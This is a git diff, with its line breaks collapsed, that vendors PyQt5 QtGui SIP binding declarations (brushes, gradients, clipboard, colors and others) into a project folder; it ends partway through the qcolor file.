+%Include qstylehints.sip +%Include qsurface.sip +%Include qsurfaceformat.sip +%Include qsyntaxhighlighter.sip +%Include qtextcursor.sip +%Include qtextdocument.sip +%Include qtextdocumentfragment.sip +%Include qtextdocumentwriter.sip +%Include qtextformat.sip +%Include qtextlayout.sip +%Include qtextlist.sip +%Include qtextobject.sip +%Include qtextoption.sip +%Include qtexttable.sip +%Include qtouchdevice.sip +%Include qtransform.sip +%Include qvalidator.sip +%Include qvector2d.sip +%Include qvector3d.sip +%Include qvector4d.sip +%Include qwindow.sip +%Include qwindowdefs.sip +%Include opengl_types.sip +%Include qpygui_qlist.sip +%Include qpygui_qpair.sip +%Include qpygui_qvector.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/opengl_types.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/opengl_types.sip new file mode 100644 index 00000000..fe105309 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/opengl_types.sip @@ -0,0 +1,43 @@ +// This implements the typedefs for the OpenGL data types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +typedef char GLchar; +typedef qint8 GLbyte; +typedef quint8 GLubyte; +typedef quint8 GLboolean; +typedef qint16 GLshort; +typedef quint16 GLushort; +typedef qint32 GLint; +typedef qint32 GLsizei; +typedef quint32 GLuint; +typedef quint32 GLenum; +typedef quint32 GLbitfield; +%If (PyQt_Desktop_OpenGL) +typedef quint64 GLuint64; // This is in OpenGL ES v3. +typedef double GLdouble; +%End +typedef float GLfloat; +typedef float GLclampf; +typedef long GLintptr; +typedef long GLsizeiptr; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qabstracttextdocumentlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qabstracttextdocumentlayout.sip new file mode 100644 index 00000000..e213f0ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qabstracttextdocumentlayout.sip @@ -0,0 +1,107 @@ +// qabstracttextdocumentlayout.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractTextDocumentLayout : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractTextDocumentLayout(QTextDocument *doc); + virtual ~QAbstractTextDocumentLayout(); + + struct Selection + { +%TypeHeaderCode +#include +%End + + QTextCursor cursor; + QTextCharFormat format; + }; + + struct PaintContext + { +%TypeHeaderCode +#include +%End + + PaintContext(); + int cursorPosition; + QPalette palette; + QRectF clip; + QVector selections; + }; + + virtual void draw(QPainter *painter, const QAbstractTextDocumentLayout::PaintContext &context) = 0; + virtual int hitTest(const QPointF &point, Qt::HitTestAccuracy accuracy) const = 0; + QString anchorAt(const QPointF &pos) const; + virtual int pageCount() const = 0; + virtual QSizeF documentSize() const = 0; + virtual QRectF frameBoundingRect(QTextFrame *frame) const = 0; + virtual QRectF blockBoundingRect(const QTextBlock &block) const = 0; + void setPaintDevice(QPaintDevice *device); + QPaintDevice *paintDevice() const; + QTextDocument *document() const; + void registerHandler(int objectType, QObject *component); +%If (Qt_5_2_0 -) + void unregisterHandler(int objectType, QObject *component = 0); +%End + QTextObjectInterface *handlerForObject(int objectType) const; + +signals: + void update(const QRectF &rect = QRectF(0., 0., 1.0E+9, 1.0E+9)); + void documentSizeChanged(const QSizeF &newSize); + void pageCountChanged(int newPages); + void updateBlock(const QTextBlock &block); + +protected: + virtual void documentChanged(int from, int charsRemoved, int charsAdded) = 0; + virtual void resizeInlineObject(QTextInlineObject item, int posInDocument, const QTextFormat &format); + virtual void positionInlineObject(QTextInlineObject item, int posInDocument, const QTextFormat &format); + virtual void drawInlineObject(QPainter *painter, const QRectF &rect, QTextInlineObject object, int posInDocument, const QTextFormat &format); + QTextCharFormat format(int pos); + +public: +%If (Qt_5_8_0 -) + QString imageAt(const QPointF &pos) const; +%End +%If (Qt_5_8_0 -) + QTextFormat formatAt(const QPointF &pos) const; +%End +%If (Qt_5_14_0 -) + QTextBlock blockWithMarkerAt(const QPointF &pos) const; +%End +}; + +class QTextObjectInterface /Mixin,PyQtInterface="org.qt-project.Qt.QTextObjectInterface"/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QTextObjectInterface(); + virtual QSizeF intrinsicSize(QTextDocument *doc, int posInDocument, const QTextFormat &format) = 0; + virtual void drawObject(QPainter *painter, const QRectF &rect, QTextDocument *doc, int posInDocument, const QTextFormat &format) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbackingstore.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbackingstore.sip new file mode 100644 index 00000000..cabae796 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbackingstore.sip @@ -0,0 +1,43 @@ +// qbackingstore.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBackingStore /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QBackingStore(QWindow *window); + ~QBackingStore(); + QWindow *window() const; + QPaintDevice *paintDevice(); + void flush(const QRegion ®ion, QWindow *window = 0, const QPoint &offset = QPoint()); + void resize(const QSize &size); + QSize size() const; + bool scroll(const QRegion &area, int dx, int dy); + void beginPaint(const QRegion &); + void endPaint(); + void setStaticContents(const QRegion ®ion); + QRegion staticContents() const; + bool hasStaticContents() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbitmap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbitmap.sip new file mode 100644 index 00000000..cbfe49e1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbitmap.sip @@ -0,0 +1,52 @@ +// qbitmap.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBitmap : QPixmap +{ +%TypeHeaderCode +#include +%End + +public: + QBitmap(); +%If (Qt_5_7_0 -) + QBitmap(const QBitmap &other); +%End + QBitmap(const QPixmap &); + QBitmap(int w, int h); + explicit QBitmap(const QSize &); + QBitmap(const QString &fileName, const char *format = 0); + QBitmap(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new sipQBitmap(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + virtual ~QBitmap(); + void clear(); + static QBitmap fromImage(const QImage &image, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + static QBitmap fromData(const QSize &size, const uchar *bits, QImage::Format format = QImage::Format_MonoLSB); + QBitmap transformed(const QTransform &matrix) const; + void swap(QBitmap &other /Constrained/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbrush.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbrush.sip new file mode 100644 index 00000000..0f1b9326 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qbrush.sip @@ -0,0 +1,439 @@ +// qbrush.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBrush /TypeHintIn="Union[QBrush, QColor, QGradient]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// SIP doesn't support automatic type convertors so we explicitly allow a +// QColor or a QGradient to be used whenever a QBrush is expected. Note that +// SIP must process QColor before QBrush so that the former's QVariant cast +// operator is applied before the latter's. + +if (sipIsErr == NULL) + return (sipCanConvertToType(sipPy, sipType_QBrush, SIP_NO_CONVERTORS) || + sipCanConvertToType(sipPy, sipType_QColor, 0) || + sipCanConvertToType(sipPy, sipType_QGradient, 0)); + +if (sipCanConvertToType(sipPy, sipType_QBrush, SIP_NO_CONVERTORS)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QBrush, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +int state; + +if (sipCanConvertToType(sipPy, sipType_QColor, 0)) +{ + QColor *c = reinterpret_cast(sipConvertToType(sipPy, sipType_QColor, 0, 0, &state, sipIsErr)); + + if (*sipIsErr) + { + sipReleaseType(c, sipType_QColor, state); + return 0; + } + + *sipCppPtr = new QBrush(*c); + + sipReleaseType(c, sipType_QColor, state); + + return sipGetState(sipTransferObj); +} + +QGradient *g = reinterpret_cast(sipConvertToType(sipPy, sipType_QGradient, 0, 0, &state, sipIsErr)); + +if (*sipIsErr) +{ + sipReleaseType(g, sipType_QGradient, state); + return 0; +} + +*sipCppPtr = new QBrush(*g); + +sipReleaseType(g, sipType_QGradient, state); + +return sipGetState(sipTransferObj); +%End + +public: + QBrush(); + QBrush(Qt::BrushStyle bs); + QBrush(const QColor &color, Qt::BrushStyle style = Qt::SolidPattern); + QBrush(const QColor &color, const QPixmap &pixmap); + QBrush(const QPixmap &pixmap); + QBrush(const QImage &image); + QBrush(const QBrush &brush); + QBrush(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QBrush(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QBrush(); + void setStyle(Qt::BrushStyle); + QPixmap texture() const; + void setTexture(const QPixmap &pixmap); + void setColor(const QColor &color); + const QGradient *gradient() const; + bool isOpaque() const; + bool operator==(const QBrush &b) const; + bool operator!=(const QBrush &b) const; + void setColor(Qt::GlobalColor acolor); + Qt::BrushStyle style() const; + const QColor &color() const; + void setTextureImage(const QImage &image); + QImage textureImage() const; + void setTransform(const QTransform &); + QTransform transform() const; + void swap(QBrush &other /Constrained/); +}; + +QDataStream &operator>>(QDataStream &, QBrush & /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &, const QBrush & /Constrained/) /ReleaseGIL/; +typedef QVector> QGradientStops; + +class QGradient +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QGradient::ConicalGradient: + sipType = sipType_QConicalGradient; + break; + + case QGradient::LinearGradient: + sipType = sipType_QLinearGradient; + break; + + case QGradient::RadialGradient: + sipType = sipType_QRadialGradient; + break; + + default: + sipType = 0; + } +%End + +public: + enum CoordinateMode + { + LogicalMode, + StretchToDeviceMode, + ObjectBoundingMode, +%If (Qt_5_12_0 -) + ObjectMode, +%End + }; + + enum Type + { + LinearGradient, + RadialGradient, + ConicalGradient, + NoGradient, + }; + + enum Spread + { + PadSpread, + ReflectSpread, + RepeatSpread, + }; + +%If (Qt_5_12_0 -) + + enum Preset + { + WarmFlame, + NightFade, + SpringWarmth, + JuicyPeach, + YoungPassion, + LadyLips, + SunnyMorning, + RainyAshville, + FrozenDreams, + WinterNeva, + DustyGrass, + TemptingAzure, + HeavyRain, + AmyCrisp, + MeanFruit, + DeepBlue, + RipeMalinka, + CloudyKnoxville, + MalibuBeach, + NewLife, + TrueSunset, + MorpheusDen, + RareWind, + NearMoon, + WildApple, + SaintPetersburg, + PlumPlate, + EverlastingSky, + HappyFisher, + Blessing, + SharpeyeEagle, + LadogaBottom, + LemonGate, + ItmeoBranding, + ZeusMiracle, + OldHat, + StarWine, + HappyAcid, + AwesomePine, + NewYork, + ShyRainbow, + MixedHopes, + FlyHigh, + StrongBliss, + FreshMilk, + SnowAgain, + FebruaryInk, + KindSteel, + SoftGrass, + GrownEarly, + SharpBlues, + ShadyWater, + DirtyBeauty, + GreatWhale, + TeenNotebook, + PoliteRumors, + SweetPeriod, + WideMatrix, + SoftCherish, + RedSalvation, + BurningSpring, + NightParty, + SkyGlider, + HeavenPeach, + PurpleDivision, + AquaSplash, + SpikyNaga, + LoveKiss, + CleanMirror, + PremiumDark, + ColdEvening, + CochitiLake, + SummerGames, + PassionateBed, + MountainRock, + DesertHump, + JungleDay, + PhoenixStart, + OctoberSilence, + FarawayRiver, + AlchemistLab, + OverSun, + PremiumWhite, + MarsParty, + EternalConstance, + JapanBlush, + SmilingRain, + CloudyApple, + BigMango, + HealthyWater, + AmourAmour, + RiskyConcrete, + StrongStick, + ViciousStance, + PaloAlto, + HappyMemories, + MidnightBloom, + Crystalline, + PartyBliss, + ConfidentCloud, + LeCocktail, + RiverCity, + FrozenBerry, + ChildCare, + FlyingLemon, + NewRetrowave, + HiddenJaguar, + AboveTheSky, + Nega, + DenseWater, + Seashore, + MarbleWall, + CheerfulCaramel, + NightSky, + MagicLake, + YoungGrass, + ColorfulPeach, + GentleCare, + PlumBath, + HappyUnicorn, + AfricanField, + SolidStone, + OrangeJuice, + GlassWater, + NorthMiracle, + FruitBlend, + MillenniumPine, + HighFlight, + MoleHall, + SpaceShift, + ForestInei, + RoyalGarden, + RichMetal, + JuicyCake, + SmartIndigo, + SandStrike, + NorseBeauty, + AquaGuidance, + SunVeggie, + SeaLord, + BlackSea, + GrassShampoo, + LandingAircraft, + WitchDance, + SleeplessNight, + AngelCare, + CrystalRiver, + SoftLipstick, + SaltMountain, + PerfectWhite, + FreshOasis, + StrictNovember, + MorningSalad, + DeepRelief, + SeaStrike, + NightCall, + SupremeSky, + LightBlue, + MindCrawl, + LilyMeadow, + SugarLollipop, + SweetDessert, + MagicRay, + TeenParty, + FrozenHeat, + GagarinView, + FabledSunset, + PerfectBlue, +%If (Qt_5_14_0 -) + NumPresets, +%End + }; + +%End + QGradient(); +%If (Qt_5_12_0 -) + QGradient(QGradient::Preset); +%End +%If (Qt_5_14_0 -) + ~QGradient(); +%End + QGradient::Type type() const; + QGradient::Spread spread() const; + void setColorAt(qreal pos, const QColor &color); + void setStops(const QGradientStops &stops); + QGradientStops stops() const; + bool operator==(const QGradient &gradient) const; + bool operator!=(const QGradient &other) const; + void setSpread(QGradient::Spread aspread); + QGradient::CoordinateMode coordinateMode() const; + void setCoordinateMode(QGradient::CoordinateMode mode); +}; + +class QLinearGradient : QGradient +{ +%TypeHeaderCode +#include +%End + +public: + QLinearGradient(); + QLinearGradient(const QPointF &start, const QPointF &finalStop); + QLinearGradient(qreal xStart, qreal yStart, qreal xFinalStop, qreal yFinalStop); +%If (Qt_5_14_0 -) + ~QLinearGradient(); +%End + QPointF start() const; + QPointF finalStop() const; + void setStart(const QPointF &start); + void setStart(qreal x, qreal y); + void setFinalStop(const QPointF &stop); + void setFinalStop(qreal x, qreal y); +}; + +class QRadialGradient : QGradient +{ +%TypeHeaderCode +#include +%End + +public: + QRadialGradient(); + QRadialGradient(const QPointF ¢er, qreal radius, const QPointF &focalPoint); + QRadialGradient(const QPointF ¢er, qreal centerRadius, const QPointF &focalPoint, qreal focalRadius); + QRadialGradient(const QPointF ¢er, qreal radius); + QRadialGradient(qreal cx, qreal cy, qreal radius, qreal fx, qreal fy); + QRadialGradient(qreal cx, qreal cy, qreal centerRadius, qreal fx, qreal fy, qreal focalRadius); + QRadialGradient(qreal cx, qreal cy, qreal radius); +%If (Qt_5_14_0 -) + ~QRadialGradient(); +%End + QPointF center() const; + QPointF focalPoint() const; + qreal radius() const; + void setCenter(const QPointF ¢er); + void setCenter(qreal x, qreal y); + void setFocalPoint(const QPointF &focalPoint); + void setFocalPoint(qreal x, qreal y); + void setRadius(qreal radius); + qreal centerRadius() const; + void setCenterRadius(qreal radius); + qreal focalRadius() const; + void setFocalRadius(qreal radius); +}; + +class QConicalGradient : QGradient +{ +%TypeHeaderCode +#include +%End + +public: + QConicalGradient(); + QConicalGradient(const QPointF ¢er, qreal startAngle); + QConicalGradient(qreal cx, qreal cy, qreal startAngle); +%If (Qt_5_14_0 -) + ~QConicalGradient(); +%End + QPointF center() const; + qreal angle() const; + void setCenter(const QPointF ¢er); + void setCenter(qreal x, qreal y); + void setAngle(qreal angle); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qclipboard.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qclipboard.sip new file mode 100644 index 00000000..a462283d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qclipboard.sip @@ -0,0 +1,95 @@ +// qclipboard.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QClipboard : QObject +{ +%TypeHeaderCode +#include +%End + + explicit QClipboard(QObject *parent /TransferThis/); + virtual ~QClipboard(); + +public: + enum Mode + { + Clipboard, + Selection, + FindBuffer, + }; + + void clear(QClipboard::Mode mode = QClipboard::Clipboard); + bool supportsFindBuffer() const; + bool supportsSelection() const; + bool ownsClipboard() const; + bool ownsFindBuffer() const; + bool ownsSelection() const; + QString text(QClipboard::Mode mode = QClipboard::Clipboard) const; + SIP_PYTUPLE text(const QString &subtype, QClipboard::Mode mode = QClipboard::Clipboard) const /TypeHint="Tuple[QString, QString]"/; +%MethodCode + QString *text; + QString *subtype = new QString(*a0); + + Py_BEGIN_ALLOW_THREADS + text = new QString(sipCpp->text(*subtype, a1)); + Py_END_ALLOW_THREADS + + PyObject *text_obj = sipConvertFromNewType(text, sipType_QString, NULL); + PyObject *subtype_obj = sipConvertFromNewType(subtype, sipType_QString, NULL); + + if (text_obj && subtype_obj) + sipRes = PyTuple_Pack(2, text_obj, subtype_obj); + + Py_XDECREF(text_obj); + Py_XDECREF(subtype_obj); +%End + + void setText(const QString &, QClipboard::Mode mode = QClipboard::Clipboard); + const QMimeData *mimeData(QClipboard::Mode mode = QClipboard::Clipboard) const; + void setMimeData(QMimeData *data /GetWrapper/, QClipboard::Mode mode = QClipboard::Clipboard); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->setMimeData(a0, a1); + Py_END_ALLOW_THREADS + + // Transfer ownership to C++ and make sure the Python object stays alive by + // giving it a reference to itself. The cycle will be broken by QMimeData's + // virtual dtor. The reason we don't do the obvious and just use /Transfer/ is + // that the QClipboard Python object we would transfer ownership to is likely + // to be garbage collected immediately afterwards. + sipTransferTo(a0Wrapper, a0Wrapper); +%End + + QImage image(QClipboard::Mode mode = QClipboard::Clipboard) const; + QPixmap pixmap(QClipboard::Mode mode = QClipboard::Clipboard) const; + void setImage(const QImage &, QClipboard::Mode mode = QClipboard::Clipboard); + void setPixmap(const QPixmap &, QClipboard::Mode mode = QClipboard::Clipboard); + +signals: + void changed(QClipboard::Mode mode); + void dataChanged(); + void findBufferChanged(); + void selectionChanged(); + +private: + QClipboard(const QClipboard &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolor.sip new file mode 100644 index 00000000..99faadba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qcolor.sip @@ -0,0 +1,388 @@ +// qcolor.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QColor /TypeHintIn="Union[QColor, Qt.GlobalColor]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// SIP doesn't support automatic type convertors so we explicitly allow a +// Qt::GlobalColor to be used whenever a QColor is expected. Note that SIP +// must process QColor before QBrush so that the former's QVariant cast +// operator is applied before the latter's. + +if (sipIsErr == NULL) + return (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_Qt_GlobalColor)) || + sipCanConvertToType(sipPy, sipType_QColor, SIP_NO_CONVERTORS)); + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_Qt_GlobalColor))) +{ + *sipCppPtr = new QColor((Qt::GlobalColor)SIPLong_AsLong(sipPy)); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QColor, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iiii", sipCpp->red(), sipCpp->green(), sipCpp->blue(), sipCpp->alpha()); +%End + +public: + enum Spec + { + Invalid, + Rgb, + Hsv, + Cmyk, + Hsl, +%If (Qt_5_14_0 -) + ExtendedRgb, +%End + }; + + QColor(Qt::GlobalColor color /Constrained/); + QColor(QRgb rgb); +%If (Qt_5_6_0 -) + QColor(QRgba64 rgba64); +%End + QColor(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QColor(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + QString name() const; + void setNamedColor(const QString &name); + static QStringList colorNames(); + QColor::Spec spec() const; + int alpha() const; + void setAlpha(int alpha); + qreal alphaF() const; + void setAlphaF(qreal alpha); + int red() const; + int green() const; + int blue() const; + void setRed(int red); + void setGreen(int green); + void setBlue(int blue); + qreal redF() const; + qreal greenF() const; + qreal blueF() const; + void setRedF(qreal red); + void setGreenF(qreal green); + void setBlueF(qreal blue); + void getRgb(int *r, int *g, int *b, int *alpha = 0) const; + void setRgb(int r, int g, int b, int alpha = 255); + void getRgbF(qreal *r, qreal *g, qreal *b, qreal *alpha = 0) const; + void setRgbF(qreal r, qreal g, qreal b, qreal alpha = 1.); + QRgb rgba() const; + void setRgba(QRgb rgba); + QRgb rgb() const; + void setRgb(QRgb rgb); + int hue() const; + int saturation() const; + int value() const; + qreal hueF() const; + qreal saturationF() const; + qreal valueF() const; + void getHsv(int *h, int *s, int *v, int *alpha = 0) const; + void setHsv(int h, int s, int v, int alpha = 255); + void getHsvF(qreal *h, qreal *s, qreal *v, qreal *alpha = 0) const; + void setHsvF(qreal h, qreal s, qreal v, qreal alpha = 1.); + int cyan() const; + int magenta() const; + int yellow() const; + int black() const; + qreal cyanF() const; + qreal magentaF() const; + qreal yellowF() const; + qreal blackF() const; + void getCmyk(int *c, int *m, int *y, int *k, int *alpha = 0); + void setCmyk(int c, int m, int y, int k, int alpha = 255); + void getCmykF(qreal *c, qreal *m, qreal *y, qreal *k, qreal *alpha = 0); + void setCmykF(qreal c, qreal m, qreal y, qreal k, qreal alpha = 1.); + QColor toRgb() const; + QColor toHsv() const; + QColor toCmyk() const; + QColor convertTo(QColor::Spec colorSpec) const; + static QColor fromRgb(QRgb rgb); + static QColor fromRgba(QRgb rgba); + static QColor fromRgb(int r, int g, int b, int alpha = 255); + static QColor fromRgbF(qreal r, qreal g, qreal b, qreal alpha = 1.); + static QColor fromHsv(int h, int s, int v, int alpha = 255); + static QColor fromHsvF(qreal h, qreal s, qreal v, qreal alpha = 1.); + static QColor fromCmyk(int c, int m, int y, int k, int alpha = 255); + static QColor fromCmykF(qreal c, qreal m, qreal y, qreal k, qreal alpha = 1.); + bool operator==(const QColor &c) const; + bool operator!=(const QColor &c) const; + QColor(); + QColor(int r, int g, int b, int alpha = 255); + QColor(const QString &aname); + QColor(const QColor &acolor); + bool isValid() const; + QColor lighter(int factor = 150) const; + QColor darker(int factor = 200) const; + int hsvHue() const; + int hsvSaturation() const; + qreal hsvHueF() const; + qreal hsvSaturationF() const; + int hslHue() const; + int hslSaturation() const; + int lightness() const; + qreal hslHueF() const; + qreal hslSaturationF() const; + qreal lightnessF() const; + void getHsl(int *h, int *s, int *l, int *alpha = 0) const; + void setHsl(int h, int s, int l, int alpha = 255); + void getHslF(qreal *h, qreal *s, qreal *l, qreal *alpha = 0) const; + void setHslF(qreal h, qreal s, qreal l, qreal alpha = 1.); + QColor toHsl() const; + static QColor fromHsl(int h, int s, int l, int alpha = 255); + static QColor fromHslF(qreal h, qreal s, qreal l, qreal alpha = 1.); + static bool isValidColor(const QString &name); +%If (Qt_5_2_0 -) + + enum NameFormat + { + HexRgb, + HexArgb, + }; + +%End +%If (Qt_5_2_0 -) + QString name(QColor::NameFormat format) const; +%End +%If (Qt_5_6_0 -) + QRgba64 rgba64() const; +%End +%If (Qt_5_6_0 -) + void setRgba64(QRgba64 rgba); +%End +%If (Qt_5_6_0 -) + static QColor fromRgba64(ushort r, ushort g, ushort b, ushort alpha = 65535); +%End +%If (Qt_5_6_0 -) + static QColor fromRgba64(QRgba64 rgba); +%End +%If (Qt_5_14_0 -) + QColor toExtendedRgb() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QColor & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QColor & /Constrained/) /ReleaseGIL/; +%If (Qt_5_14_0 -) +%If (PyQt_CONSTEXPR) + +namespace QColorConstants +{ +%TypeHeaderCode +#include +%End + + const QColor Color0; + const QColor Color1; + const QColor Black; + const QColor White; + const QColor DarkGray; + const QColor Gray; + const QColor LightGray; + const QColor Red; + const QColor Green; + const QColor Blue; + const QColor Cyan; + const QColor Magenta; + const QColor Yellow; + const QColor DarkRed; + const QColor DarkGreen; + const QColor DarkBlue; + const QColor DarkCyan; + const QColor DarkMagenta; + const QColor DarkYellow; + const QColor Transparent; + + namespace Svg + { +%TypeHeaderCode +#include +%End + + const QColor aliceblue; + const QColor antiquewhite; + const QColor aqua; + const QColor aquamarine; + const QColor azure; + const QColor beige; + const QColor bisque; + const QColor black; + const QColor blanchedalmond; + const QColor blue; + const QColor blueviolet; + const QColor brown; + const QColor burlywood; + const QColor cadetblue; + const QColor chartreuse; + const QColor chocolate; + const QColor coral; + const QColor cornflowerblue; + const QColor cornsilk; + const QColor crimson; + const QColor cyan; + const QColor darkblue; + const QColor darkcyan; + const QColor darkgoldenrod; + const QColor darkgray; + const QColor darkgreen; + const QColor darkgrey; + const QColor darkkhaki; + const QColor darkmagenta; + const QColor darkolivegreen; + const QColor darkorange; + const QColor darkorchid; + const QColor darkred; + const QColor darksalmon; + const QColor darkseagreen; + const QColor darkslateblue; + const QColor darkslategray; + const QColor darkslategrey; + const QColor darkturquoise; + const QColor darkviolet; + const QColor deeppink; + const QColor 